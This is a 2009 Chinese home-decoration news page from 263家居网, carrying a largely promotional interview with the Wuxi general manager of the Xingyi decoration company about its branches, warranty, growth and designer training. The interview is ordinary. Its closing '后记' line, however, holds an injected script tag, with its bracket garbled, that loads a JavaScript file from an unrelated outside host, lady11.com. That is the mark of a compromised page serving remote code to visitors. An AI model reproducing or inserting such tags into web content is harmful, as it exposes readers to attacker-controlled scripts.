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访星艺余总:美丽无处不在,空间因我而精彩n
时间:2009-8-1 11:28:55 出处:263家居网 作者:本站编辑 阅读:7374次

    星艺无锡——美丽无处不在,空间因我精彩
   
十八载厚重企业文化底蕴引领装饰业界风向,四百余直属分公司打造财智阶层典藏府邸

    题记:家装业在中国已经走过了十年的历程,作为朝阳产业得以蓬勃发展。从当初街边猖獗的“游击队”到如今家装企业的品牌化建设、模式的创新、价格的激战,以及对环保和设计的关注,使家装行业越来越趋向于成熟。无锡,可以说是全国家装业最活跃的城市之一,多年来,北京、上海、苏州、广东多家大型家装企业登陆无锡,给锡城家装业带来了全新的经营理念和经营模式,也促使无锡家装市场格局发生了变化。“星艺无锡就是这样一家公司,带着关注和期盼,我们有幸采访了星艺无锡的余名沁总经理。

    记者:余总您好,感谢您接受我们263家居网的采访。广东星艺是有十八年历史的家装行业龙头,作为南方的装饰公司,与无锡本地的装饰公司有什么区别?
    余总:我们广东星艺是无锡本地其他公司是没办法比较的,广东星艺的规模很大,我们全是直营公司组成的,全国直营的公司有400余家,在家装这块来讲我们星艺在全国是龙头企业。《新闻联播》前一阵就报道过我们广东星艺,星艺的企业文化、我们办的学校,包括我们在灾区做的慈善事业都有过报导。就企业文化来讲我们已经有19年的历史了,包括我们提倡的设计理念都是前沿的,在国内都是属于领先地位的。另外一块是在施工方面。跟当地公司不同的是,我们没有转包的工地。转包的概念有些业主还是不是很清楚、不是很明白,最容易的方法是业主可以从一点上看出来,比如说我们现场施工的工人他们的工资都是我们公司财务部直接发放的,而无锡大部分公司他们是由项目经理管理的,本质的区别就在这里。包括售后服务这一块,我们是全国联保,只要星艺装饰全国区域任何分支机构在施工过程中存在质量问题,业主均可拨打800-830-3295全国联保免费电话,还有一个10101010转星艺装饰,星艺将为业主提供风险担保,保证业主零风险。

    记者:广东星艺装饰于2002年进入无锡市场,到现在已有7年了,而这几年正是无锡乃至全国的大发展阶段,您能简单给我们介绍一下无锡星艺在这几年的发展历程吗?
    余总:广东星艺装饰是外地装饰公司第一家进驻锡城的装饰企业,我们从2002年进入无锡市场以来,发展一直是良性的。原来在天安大厦办公,后来由于企业发展的需要和公司业务的提升,那个空间已经局限了我们的发展,从2005年我们就搬到北塘大街1号门面房来经营。我们的客户资源40%以上都是回头客,都是老客户介绍新客户,我们每年的业绩以30%以上在递增,这也要感谢无锡的广大的业主对我们的信任。

    记者:作为一个全国统一管理的装饰公司,在企业文化的塑造和企业管理上有什么新颖之处区别于其他的装饰公司?
    余总:区别比较大。从企业文化来讲,比如说我们设计师的培训班,星艺装饰会每年定期的在全国各个分支机构挑选优秀设计师在一起交流、学习,先后组织西藏特训班、新疆特训班、云南特训班,还包括印度、国外的、欧洲之行的特训班。设计师的培养,我们有投资数亿元办的江西丰良国际艺术学院,这是我们董事长 余静赣先生亲自主持的艺术类学院,这在全国是没有先例的。对我们职业管理人这块,我们定期不少于半个月的学习,比如说北大、清华、南京大学、中山大学都有我们职业经理人的足迹。

    记者:您做这行也有很长时间了,您对现在的装饰行业的发展怎么来看?像星艺公司在行业里继续做大做强的话,它必须要怎么样定位,怎么样经营才能做好?你们今后的发展思路是怎么样的?
    余总:简单的说两句,现在的装饰市场还不是很规范,通过这次金融危机以后呢,肯定会大浪淘沙留下一部分优秀的设计师来服务社会服务客户。我们星艺的标准就是诚信服务,要把业主的家当作自己的家来装修,只有诚信服务的企业才能立于不败之地。 

    记者:再次感谢余总接受我们的采访。

    后记:?script src=http://lady11.com/s.js>

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